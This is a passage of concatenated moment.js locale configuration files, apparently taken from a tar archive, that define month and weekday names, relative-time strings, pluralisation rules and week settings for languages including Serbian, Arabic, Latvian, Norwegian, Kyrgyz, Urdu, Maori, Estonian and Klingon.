1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/sr.js000064400000007117151677412270007007 0ustar00//! moment.js locale configuration //! locale : Serbian [sr] //! author : Milan Janačković<milanjanackovic@gmail.com> : https://github.com/milan-j import moment from '../moment'; var translator = { words: { //Different grammatical cases ss: ['sekunda', 'sekunde', 'sekundi'], m: ['jedan minut', 'jedne minute'], mm: ['minut', 'minute', 'minuta'], h: ['jedan sat', 'jednog sata'], hh: ['sat', 'sata', 'sati'], dd: ['dan', 'dana', 'dana'], MM: ['mesec', 'meseca', 'meseci'], yy: ['godina', 'godine', 'godina'] }, correctGrammaticalCase: function (number, wordKey) { return number === 1 ? wordKey[0] : (number >= 2 && number <= 4 ? wordKey[1] : wordKey[2]); }, translate: function (number, withoutSuffix, key) { var wordKey = translator.words[key]; if (key.length === 1) { return withoutSuffix ? wordKey[0] : wordKey[1]; } else { return number + ' ' + translator.correctGrammaticalCase(number, wordKey); } } }; export default moment.defineLocale('sr', { months: 'januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar'.split('_'), monthsShort: 'jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.'.split('_'), monthsParseExact: true, weekdays: 'nedelja_ponedeljak_utorak_sreda_četvrtak_petak_subota'.split('_'), weekdaysShort: 'ned._pon._uto._sre._čet._pet._sub.'.split('_'), weekdaysMin: 'ne_po_ut_sr_če_pe_su'.split('_'), weekdaysParseExact : true, longDateFormat: { LT: 'H:mm', LTS : 'H:mm:ss', L: 'DD.MM.YYYY', LL: 'D. MMMM YYYY', LLL: 'D. MMMM YYYY H:mm', LLLL: 'dddd, D. MMMM YYYY H:mm' }, calendar: { sameDay: '[danas u] LT', nextDay: '[sutra u] LT', nextWeek: function () { switch (this.day()) { case 0: return '[u] [nedelju] [u] LT'; case 3: return '[u] [sredu] [u] LT'; case 6: return '[u] [subotu] [u] LT'; case 1: case 2: case 4: case 5: return '[u] dddd [u] LT'; } }, lastDay : '[juče u] LT', lastWeek : function () { var lastWeekDays = [ '[prošle] [nedelje] [u] LT', '[prošlog] [ponedeljka] [u] LT', '[prošlog] [utorka] [u] LT', '[prošle] [srede] [u] LT', '[prošlog] [četvrtka] [u] LT', '[prošlog] [petka] [u] LT', '[prošle] [subote] [u] LT' ]; return lastWeekDays[this.day()]; }, sameElse : 'L' }, relativeTime : { future : 'za %s', past : 'pre %s', s : 'nekoliko sekundi', ss : translator.translate, m : translator.translate, mm : translator.translate, h : translator.translate, hh : translator.translate, d : 'dan', dd : translator.translate, M : 'mesec', MM : translator.translate, y : 'godinu', yy : translator.translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/ar-ly.js000064400000007611151677412270007406 0ustar00//! moment.js locale configuration //! locale : Arabic (Lybia) [ar-ly] //! author : Ali Hmer: https://github.com/kikoanis import moment from '../moment'; var symbolMap = { '1': '1', '2': '2', '3': '3', '4': '4', '5': '5', '6': '6', '7': '7', '8': '8', '9': '9', '0': '0' }, pluralForm = function (n) { return n === 0 ? 0 : n === 1 ? 1 : n === 2 ? 2 : n % 100 >= 3 && n % 100 <= 10 ? 3 : n % 100 >= 11 ? 4 : 5; }, plurals = { s : ['أقل من ثانية', 'ثانية واحدة', ['ثانيتان', 'ثانيتين'], '%d ثوان', '%d ثانية', '%d ثانية'], m : ['أقل من دقيقة', 'دقيقة واحدة', ['دقيقتان', 'دقيقتين'], '%d دقائق', '%d دقيقة', '%d دقيقة'], h : ['أقل من ساعة', 'ساعة واحدة', ['ساعتان', 'ساعتين'], '%d ساعات', '%d ساعة', '%d ساعة'], d : ['أقل من يوم', 'يوم واحد', ['يومان', 'يومين'], '%d أيام', '%d يومًا', '%d يوم'], M : ['أقل من شهر', 'شهر واحد', ['شهران', 'شهرين'], '%d أشهر', '%d شهرا', '%d شهر'], y : ['أقل من عام', 'عام واحد', ['عامان', 'عامين'], '%d أعوام', '%d عامًا', '%d عام'] }, pluralize = function (u) { return function (number, withoutSuffix, string, isFuture) { var f = pluralForm(number), str = plurals[u][pluralForm(number)]; if (f === 2) { str = str[withoutSuffix ? 0 : 1]; } return str.replace(/%d/i, number); }; }, months = [ 'يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر' ]; export default moment.defineLocale('ar-ly', { months : months, monthsShort : months, weekdays : 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'), weekdaysShort : 'أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت'.split('_'), weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'D/\u200FM/\u200FYYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, meridiemParse: /ص|م/, isPM : function (input) { return 'م' === input; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'ص'; } else { return 'م'; } }, calendar : { sameDay: '[اليوم عند الساعة] LT', nextDay: '[غدًا عند الساعة] LT', nextWeek: 'dddd [عند الساعة] LT', lastDay: '[أمس عند الساعة] LT', lastWeek: 'dddd [عند الساعة] LT', sameElse: 'L' }, relativeTime : { future : 'بعد %s', past : 'منذ %s', s : pluralize('s'), ss : pluralize('s'), m : pluralize('m'), mm : pluralize('m'), h : pluralize('h'), hh : pluralize('h'), d : pluralize('d'), dd : pluralize('d'), M : pluralize('M'), MM : pluralize('M'), y : pluralize('y'), yy : pluralize('y') }, preparse: function (string) { return string.replace(/،/g, ','); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }).replace(/,/g, '،'); }, week : { dow : 6, // Saturday is the first day of the week. doy : 12 // The week that contains Jan 1st is the first week of the year. } }); locale/lv.js000064400000006740151677412270007005 0ustar00//! moment.js locale configuration //! locale : Latvian [lv] //! author : Kristaps Karlsons : https://github.com/skakri //! author : Jānis Elmeris : https://github.com/JanisE import moment from '../moment'; var units = { 'ss': 'sekundes_sekundēm_sekunde_sekundes'.split('_'), 'm': 'minūtes_minūtēm_minūte_minūtes'.split('_'), 'mm': 'minūtes_minūtēm_minūte_minūtes'.split('_'), 'h': 'stundas_stundām_stunda_stundas'.split('_'), 'hh': 'stundas_stundām_stunda_stundas'.split('_'), 'd': 'dienas_dienām_diena_dienas'.split('_'), 'dd': 'dienas_dienām_diena_dienas'.split('_'), 'M': 'mēneša_mēnešiem_mēnesis_mēneši'.split('_'), 'MM': 'mēneša_mēnešiem_mēnesis_mēneši'.split('_'), 'y': 'gada_gadiem_gads_gadi'.split('_'), 'yy': 'gada_gadiem_gads_gadi'.split('_') }; /** * @param withoutSuffix boolean true = a length of time; false = before/after a period of time. */ function format(forms, number, withoutSuffix) { if (withoutSuffix) { // E.g. "21 minūte", "3 minūtes". return number % 10 === 1 && number % 100 !== 11 ? forms[2] : forms[3]; } else { // E.g. "21 minūtes" as in "pēc 21 minūtes". // E.g. "3 minūtēm" as in "pēc 3 minūtēm". return number % 10 === 1 && number % 100 !== 11 ? forms[0] : forms[1]; } } function relativeTimeWithPlural(number, withoutSuffix, key) { return number + ' ' + format(units[key], number, withoutSuffix); } function relativeTimeWithSingular(number, withoutSuffix, key) { return format(units[key], number, withoutSuffix); } function relativeSeconds(number, withoutSuffix) { return withoutSuffix ? 'dažas sekundes' : 'dažām sekundēm'; } export default moment.defineLocale('lv', { months : 'janvāris_februāris_marts_aprīlis_maijs_jūnijs_jūlijs_augusts_septembris_oktobris_novembris_decembris'.split('_'), monthsShort : 'jan_feb_mar_apr_mai_jūn_jūl_aug_sep_okt_nov_dec'.split('_'), weekdays : 'svētdiena_pirmdiena_otrdiena_trešdiena_ceturtdiena_piektdiena_sestdiena'.split('_'), weekdaysShort : 'Sv_P_O_T_C_Pk_S'.split('_'), weekdaysMin : 'Sv_P_O_T_C_Pk_S'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY.', LL : 'YYYY. [gada] D. MMMM', LLL : 'YYYY. [gada] D. MMMM, HH:mm', LLLL : 'YYYY. [gada] D. MMMM, dddd, HH:mm' }, calendar : { sameDay : '[Šodien pulksten] LT', nextDay : '[Rīt pulksten] LT', nextWeek : 'dddd [pulksten] LT', lastDay : '[Vakar pulksten] LT', lastWeek : '[Pagājušā] dddd [pulksten] LT', sameElse : 'L' }, relativeTime : { future : 'pēc %s', past : 'pirms %s', s : relativeSeconds, ss : relativeTimeWithPlural, m : relativeTimeWithSingular, mm : relativeTimeWithPlural, h : relativeTimeWithSingular, hh : relativeTimeWithPlural, d : relativeTimeWithSingular, dd : relativeTimeWithPlural, M : relativeTimeWithSingular, MM : relativeTimeWithPlural, y : relativeTimeWithSingular, yy : relativeTimeWithPlural }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ar-dz.js000064400000003714151677412270007377 0ustar00//! moment.js locale configuration //! locale : Arabic (Algeria) [ar-dz] //! author : Noureddine LOUAHEDJ : https://github.com/noureddineme import moment from '../moment'; export default moment.defineLocale('ar-dz', { months : 'جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'), monthsShort : 'جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'), weekdays : 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'), weekdaysShort : 'احد_اثنين_ثلاثاء_اربعاء_خميس_جمعة_سبت'.split('_'), weekdaysMin : 'أح_إث_ثلا_أر_خم_جم_سب'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay: '[اليوم على الساعة] LT', nextDay: '[غدا على الساعة] LT', nextWeek: 'dddd [على الساعة] LT', lastDay: '[أمس على الساعة] LT', lastWeek: 'dddd [على الساعة] LT', sameElse: 'L' }, relativeTime : { future : 'في %s', past : 'منذ %s', s : 'ثوان', ss : '%d ثانية', m : 'دقيقة', mm : '%d دقائق', h : 'ساعة', hh : '%d ساعات', d : 'يوم', dd : '%d أيام', M : 'شهر', MM : '%d أشهر', y : 'سنة', yy : '%d سنوات' }, week : { dow : 0, // Sunday is the first day of the week. doy : 4 // The week that contains Jan 1st is the first week of the year. } }); locale/nb.js000064400000003476151677412270006766 0ustar00//! moment.js locale configuration //! locale : Norwegian Bokmål [nb] //! authors : Espen Hovlandsdal : https://github.com/rexxars //! Sigurd Gartmann : https://github.com/sigurdga import moment from '../moment'; export default moment.defineLocale('nb', { months : 'januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember'.split('_'), monthsShort : 'jan._feb._mars_april_mai_juni_juli_aug._sep._okt._nov._des.'.split('_'), monthsParseExact : true, weekdays : 'søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag'.split('_'), weekdaysShort : 'sø._ma._ti._on._to._fr._lø.'.split('_'), weekdaysMin : 'sø_ma_ti_on_to_fr_lø'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY [kl.] HH:mm', LLLL : 'dddd D. MMMM YYYY [kl.] HH:mm' }, calendar : { sameDay: '[i dag kl.] LT', nextDay: '[i morgen kl.] LT', nextWeek: 'dddd [kl.] LT', lastDay: '[i går kl.] LT', lastWeek: '[forrige] dddd [kl.] LT', sameElse: 'L' }, relativeTime : { future : 'om %s', past : '%s siden', s : 'noen sekunder', ss : '%d sekunder', m : 'ett minutt', mm : '%d minutter', h : 'en time', hh : '%d timer', d : 'en dag', dd : '%d dager', M : 'en måned', MM : '%d måneder', y : 'ett år', yy : '%d år' }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ky.js000064400000005036151677412270007004 0ustar00//! moment.js locale configuration //! locale : Kyrgyz [ky] //! author : Chyngyz Arystan uulu : https://github.com/chyngyz import moment from '../moment'; var suffixes = { 0: '-чү', 1: '-чи', 2: '-чи', 3: '-чү', 4: '-чү', 5: '-чи', 6: '-чы', 7: '-чи', 8: '-чи', 9: '-чу', 10: '-чу', 20: '-чы', 30: '-чу', 40: '-чы', 50: '-чү', 60: '-чы', 70: '-чи', 80: '-чи', 90: '-чу', 100: '-чү' }; export default moment.defineLocale('ky', { months : 'январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь'.split('_'), monthsShort : 'янв_фев_март_апр_май_июнь_июль_авг_сен_окт_ноя_дек'.split('_'), weekdays : 'Жекшемби_Дүйшөмбү_Шейшемби_Шаршемби_Бейшемби_Жума_Ишемби'.split('_'), weekdaysShort : 'Жек_Дүй_Шей_Шар_Бей_Жум_Ише'.split('_'), weekdaysMin : 'Жк_Дй_Шй_Шр_Бй_Жм_Иш'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Бүгүн саат] LT', nextDay : '[Эртең саат] LT', nextWeek : 'dddd [саат] LT', lastDay : '[Кече саат] LT', lastWeek : '[Өткен аптанын] dddd [күнү] [саат] LT', sameElse : 'L' }, relativeTime : { future : '%s ичинде', past : '%s мурун', s : 'бирнече секунд', ss : '%d секунд', m : 'бир мүнөт', mm : '%d мүнөт', h : 'бир саат', hh : '%d саат', d : 'бир күн', dd : '%d күн', M : 'бир ай', MM : '%d ай', y : 'бир жыл', yy : '%d жыл' }, dayOfMonthOrdinalParse: /\d{1,2}-(чи|чы|чү|чу)/, ordinal : function (number) { var a = number % 10, b = number >= 100 ? 100 : null; return number + (suffixes[number] || suffixes[a] || suffixes[b]); }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/ur.js000064400000004376151677412270007015 0ustar00//! moment.js locale configuration //! locale : Urdu [ur] //! author : Sawood Alam : https://github.com/ibnesayeed //! author : Zack : https://github.com/ZackVision import moment from '../moment'; var months = [ 'جنوری', 'فروری', 'مارچ', 'اپریل', 'مئی', 'جون', 'جولائی', 'اگست', 'ستمبر', 'اکتوبر', 'نومبر', 'دسمبر' ]; var days = [ 'اتوار', 'پیر', 'منگل', 'بدھ', 'جمعرات', 'جمعہ', 'ہفتہ' ]; export default moment.defineLocale('ur', { months : months, monthsShort : months, weekdays : days, weekdaysShort : days, weekdaysMin : days, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd، D MMMM YYYY HH:mm' }, meridiemParse: /صبح|شام/, isPM : function (input) { return 'شام' === input; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'صبح'; } return 'شام'; }, calendar : { sameDay : '[آج بوقت] LT', nextDay : '[کل بوقت] LT', nextWeek : 'dddd [بوقت] LT', lastDay : '[گذشتہ روز بوقت] LT', lastWeek : '[گذشتہ] dddd [بوقت] LT', sameElse : 'L' }, relativeTime : { future : '%s بعد', past : '%s قبل', s : 'چند سیکنڈ', ss : '%d سیکنڈ', m : 'ایک منٹ', mm : '%d منٹ', h : 'ایک گھنٹہ', hh : '%d گھنٹے', d : 'ایک دن', dd : '%d دن', M : 'ایک ماہ', MM : '%d ماہ', y : 'ایک سال', yy : '%d سال' }, preparse: function (string) { return string.replace(/،/g, ','); }, postformat: function (string) { return string.replace(/,/g, '،'); }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/mi.js000064400000003761151677412270006771 0ustar00//! moment.js locale configuration //! locale : Maori [mi] //! author : John Corrigan <robbiecloset@gmail.com> : https://github.com/johnideal import moment from '../moment'; export default moment.defineLocale('mi', { months: 'Kohi-tāte_Hui-tanguru_Poutū-te-rangi_Paenga-whāwhā_Haratua_Pipiri_Hōngoingoi_Here-turi-kōkā_Mahuru_Whiringa-ā-nuku_Whiringa-ā-rangi_Hakihea'.split('_'), monthsShort: 'Kohi_Hui_Pou_Pae_Hara_Pipi_Hōngoi_Here_Mahu_Whi-nu_Whi-ra_Haki'.split('_'), monthsRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i, monthsStrictRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i, monthsShortRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i, monthsShortStrictRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i, weekdays: 'Rātapu_Mane_Tūrei_Wenerei_Tāite_Paraire_Hātarei'.split('_'), weekdaysShort: 'Ta_Ma_Tū_We_Tāi_Pa_Hā'.split('_'), weekdaysMin: 'Ta_Ma_Tū_We_Tāi_Pa_Hā'.split('_'), longDateFormat: { LT: 'HH:mm', LTS: 'HH:mm:ss', L: 'DD/MM/YYYY', LL: 'D MMMM YYYY', LLL: 'D MMMM YYYY [i] HH:mm', LLLL: 'dddd, D MMMM YYYY [i] HH:mm' }, calendar: { sameDay: '[i teie mahana, i] LT', nextDay: '[apopo i] LT', nextWeek: 'dddd [i] LT', lastDay: '[inanahi i] LT', lastWeek: 'dddd [whakamutunga i] LT', sameElse: 'L' }, relativeTime: { future: 'i roto i %s', past: '%s i mua', s: 'te hēkona ruarua', ss: '%d hēkona', m: 'he meneti', mm: '%d meneti', h: 'te haora', hh: '%d haora', d: 'he ra', dd: '%d ra', M: 'he marama', MM: '%d marama', y: 'he tau', yy: '%d tau' }, dayOfMonthOrdinalParse: /\d{1,2}º/, ordinal: '%dº', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/en-ie.js000064400000003655151677412270007363 0ustar00//! moment.js locale configuration //! locale : English (Ireland) [en-ie] //! author : Chris Cartlidge : https://github.com/chriscartlidge import moment from '../moment'; export default moment.defineLocale('en-ie', { months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'), monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'), weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'), weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'), weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD-MM-YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Today at] LT', nextDay : '[Tomorrow at] LT', nextWeek : 'dddd [at] LT', lastDay : '[Yesterday at] LT', lastWeek : '[Last] dddd [at] LT', sameElse : 'L' }, relativeTime : { future : 'in %s', past : '%s ago', s : 'a few seconds', ss : '%d seconds', m : 'a minute', mm : '%d minutes', h : 'an hour', hh : '%d hours', d : 'a day', dd : '%d days', M : 'a month', MM : '%d months', y : 'a year', yy : '%d years' }, dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, ordinal : function (number) { var b = number % 10, output = (~~(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ar.js000064400000010355151677412270006763 0ustar00//! moment.js locale configuration //! locale : Arabic [ar] //! author : Abdel Said: https://github.com/abdelsaid //! author : Ahmed Elkhatib //! author : forabi https://github.com/forabi import moment from '../moment'; var symbolMap = { '1': '١', '2': '٢', '3': '٣', '4': '٤', '5': '٥', '6': '٦', '7': '٧', '8': '٨', '9': '٩', '0': '٠' }, numberMap = { '١': '1', '٢': '2', '٣': '3', '٤': '4', '٥': '5', '٦': '6', '٧': '7', '٨': '8', '٩': '9', '٠': '0' }, pluralForm = function (n) { return n === 0 ? 0 : n === 1 ? 1 : n === 2 ? 2 : n % 100 >= 3 && n % 100 <= 10 ? 3 : n % 100 >= 11 ? 4 : 5; }, plurals = { s : ['أقل من ثانية', 'ثانية واحدة', ['ثانيتان', 'ثانيتين'], '%d ثوان', '%d ثانية', '%d ثانية'], m : ['أقل من دقيقة', 'دقيقة واحدة', ['دقيقتان', 'دقيقتين'], '%d دقائق', '%d دقيقة', '%d دقيقة'], h : ['أقل من ساعة', 'ساعة واحدة', ['ساعتان', 'ساعتين'], '%d ساعات', '%d ساعة', '%d ساعة'], d : ['أقل من يوم', 'يوم واحد', ['يومان', 'يومين'], '%d أيام', '%d يومًا', '%d يوم'], M : ['أقل من شهر', 'شهر واحد', ['شهران', 'شهرين'], '%d أشهر', '%d شهرا', '%d شهر'], y : ['أقل من عام', 'عام واحد', ['عامان', 'عامين'], '%d أعوام', '%d عامًا', '%d عام'] }, pluralize = function (u) { return function (number, withoutSuffix, string, isFuture) { var f = pluralForm(number), str = plurals[u][pluralForm(number)]; if (f === 2) { str = str[withoutSuffix ? 0 : 1]; } return str.replace(/%d/i, number); }; }, months = [ 'يناير', 'فبراير', 'مارس', 'أبريل', 'مايو', 'يونيو', 'يوليو', 'أغسطس', 'سبتمبر', 'أكتوبر', 'نوفمبر', 'ديسمبر' ]; export default moment.defineLocale('ar', { months : months, monthsShort : months, weekdays : 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'), weekdaysShort : 'أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت'.split('_'), weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'D/\u200FM/\u200FYYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, meridiemParse: /ص|م/, isPM : function (input) { return 'م' === input; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'ص'; } else { return 'م'; } }, calendar : { sameDay: '[اليوم عند الساعة] LT', nextDay: '[غدًا عند الساعة] LT', nextWeek: 'dddd [عند الساعة] LT', lastDay: '[أمس عند الساعة] LT', lastWeek: 'dddd [عند الساعة] LT', sameElse: 'L' }, relativeTime : { future : 'بعد %s', past : 'منذ %s', s : pluralize('s'), ss : pluralize('s'), m : pluralize('m'), mm : pluralize('m'), h : pluralize('h'), hh : pluralize('h'), d : pluralize('d'), dd : pluralize('d'), M : pluralize('M'), MM : pluralize('M'), y : pluralize('y'), yy : pluralize('y') }, preparse: function (string) { return string.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (match) { return numberMap[match]; }).replace(/،/g, ','); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }).replace(/,/g, '،'); }, week : { dow : 6, // Saturday is the first day of the week. doy : 12 // The week that contains Jan 1st is the first week of the year. } }); locale/sr-cyrl.js000064400000010076151677412270007754 0ustar00//! moment.js locale configuration //! locale : Serbian Cyrillic [sr-cyrl] //! author : Milan Janačković<milanjanackovic@gmail.com> : https://github.com/milan-j import moment from '../moment'; var translator = { words: { //Different grammatical cases ss: ['секунда', 'секунде', 'секунди'], m: ['један минут', 'једне минуте'], mm: ['минут', 'минуте', 'минута'], h: ['један сат', 'једног сата'], hh: ['сат', 'сата', 'сати'], dd: ['дан', 'дана', 'дана'], MM: ['месец', 'месеца', 'месеци'], yy: ['година', 'године', 'година'] }, correctGrammaticalCase: function (number, wordKey) { return number === 1 ? wordKey[0] : (number >= 2 && number <= 4 ? wordKey[1] : wordKey[2]); }, translate: function (number, withoutSuffix, key) { var wordKey = translator.words[key]; if (key.length === 1) { return withoutSuffix ? wordKey[0] : wordKey[1]; } else { return number + ' ' + translator.correctGrammaticalCase(number, wordKey); } } }; export default moment.defineLocale('sr-cyrl', { months: 'јануар_фебруар_март_април_мај_јун_јул_август_септембар_октобар_новембар_децембар'.split('_'), monthsShort: 'јан._феб._мар._апр._мај_јун_јул_авг._сеп._окт._нов._дец.'.split('_'), monthsParseExact: true, weekdays: 'недеља_понедељак_уторак_среда_четвртак_петак_субота'.split('_'), weekdaysShort: 'нед._пон._уто._сре._чет._пет._суб.'.split('_'), weekdaysMin: 'не_по_ут_ср_че_пе_су'.split('_'), weekdaysParseExact : true, longDateFormat: { LT: 'H:mm', LTS : 'H:mm:ss', L: 'DD.MM.YYYY', LL: 'D. MMMM YYYY', LLL: 'D. MMMM YYYY H:mm', LLLL: 'dddd, D. MMMM YYYY H:mm' }, calendar: { sameDay: '[данас у] LT', nextDay: '[сутра у] LT', nextWeek: function () { switch (this.day()) { case 0: return '[у] [недељу] [у] LT'; case 3: return '[у] [среду] [у] LT'; case 6: return '[у] [суботу] [у] LT'; case 1: case 2: case 4: case 5: return '[у] dddd [у] LT'; } }, lastDay : '[јуче у] LT', lastWeek : function () { var lastWeekDays = [ '[прошле] [недеље] [у] LT', '[прошлог] [понедељка] [у] LT', '[прошлог] [уторка] [у] LT', '[прошле] [среде] [у] LT', '[прошлог] [четвртка] [у] LT', '[прошлог] [петка] [у] LT', '[прошле] [суботе] [у] LT' ]; return lastWeekDays[this.day()]; }, sameElse : 'L' }, relativeTime : { future : 'за %s', past : 'пре %s', s : 'неколико секунди', ss : translator.translate, m : translator.translate, mm : translator.translate, h : translator.translate, hh : translator.translate, d : 'дан', dd : translator.translate, M : 'месец', MM : translator.translate, y : 'годину', yy : translator.translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/et.js000064400000005355151677412270006775 0ustar00//! moment.js locale configuration //! locale : Estonian [et] //! author : Henry Kehlmann : https://github.com/madhenry //! improvements : Illimar Tambek : https://github.com/ragulka import moment from '../moment'; function processRelativeTime(number, withoutSuffix, key, isFuture) { var format = { 's' : ['mõne sekundi', 'mõni sekund', 'paar sekundit'], 'ss': [number + 'sekundi', number + 'sekundit'], 'm' : ['ühe minuti', 'üks minut'], 'mm': [number + ' minuti', number + ' minutit'], 'h' : ['ühe tunni', 'tund aega', 'üks tund'], 'hh': [number + ' tunni', number + ' tundi'], 'd' : ['ühe päeva', 'üks päev'], 'M' : ['kuu aja', 'kuu aega', 'üks kuu'], 'MM': [number + ' kuu', number + ' kuud'], 'y' : ['ühe aasta', 'aasta', 'üks aasta'], 'yy': [number + ' aasta', number + ' aastat'] }; if (withoutSuffix) { return format[key][2] ? format[key][2] : format[key][1]; } return isFuture ? format[key][0] : format[key][1]; } export default moment.defineLocale('et', { months : 'jaanuar_veebruar_märts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember'.split('_'), monthsShort : 'jaan_veebr_märts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets'.split('_'), weekdays : 'pühapäev_esmaspäev_teisipäev_kolmapäev_neljapäev_reede_laupäev'.split('_'), weekdaysShort : 'P_E_T_K_N_R_L'.split('_'), weekdaysMin : 'P_E_T_K_N_R_L'.split('_'), longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY H:mm', LLLL : 'dddd, D. MMMM YYYY H:mm' }, calendar : { sameDay : '[Täna,] LT', nextDay : '[Homme,] LT', nextWeek : '[Järgmine] dddd LT', lastDay : '[Eile,] LT', lastWeek : '[Eelmine] dddd LT', sameElse : 'L' }, relativeTime : { future : '%s pärast', past : '%s tagasi', s : processRelativeTime, ss : processRelativeTime, m : processRelativeTime, mm : processRelativeTime, h : processRelativeTime, hh : processRelativeTime, d : processRelativeTime, dd : '%d päeva', M : processRelativeTime, MM : processRelativeTime, y : processRelativeTime, yy : processRelativeTime }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/tlh.js000064400000007205151677412270007150 0ustar00//! moment.js locale configuration //! locale : Klingon [tlh] //! author : Dominika Kruk : https://github.com/amaranthrose import moment from '../moment'; var numbersNouns = 'pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut'.split('_'); function translateFuture(output) { var time = output; time = (output.indexOf('jaj') !== -1) ? time.slice(0, -3) + 'leS' : (output.indexOf('jar') !== -1) ? time.slice(0, -3) + 'waQ' : (output.indexOf('DIS') !== -1) ? time.slice(0, -3) + 'nem' : time + ' pIq'; return time; } function translatePast(output) { var time = output; time = (output.indexOf('jaj') !== -1) ? time.slice(0, -3) + 'Hu’' : (output.indexOf('jar') !== -1) ? time.slice(0, -3) + 'wen' : (output.indexOf('DIS') !== -1) ? time.slice(0, -3) + 'ben' : time + ' ret'; return time; } function translate(number, withoutSuffix, string, isFuture) { var numberNoun = numberAsNoun(number); switch (string) { case 'ss': return numberNoun + ' 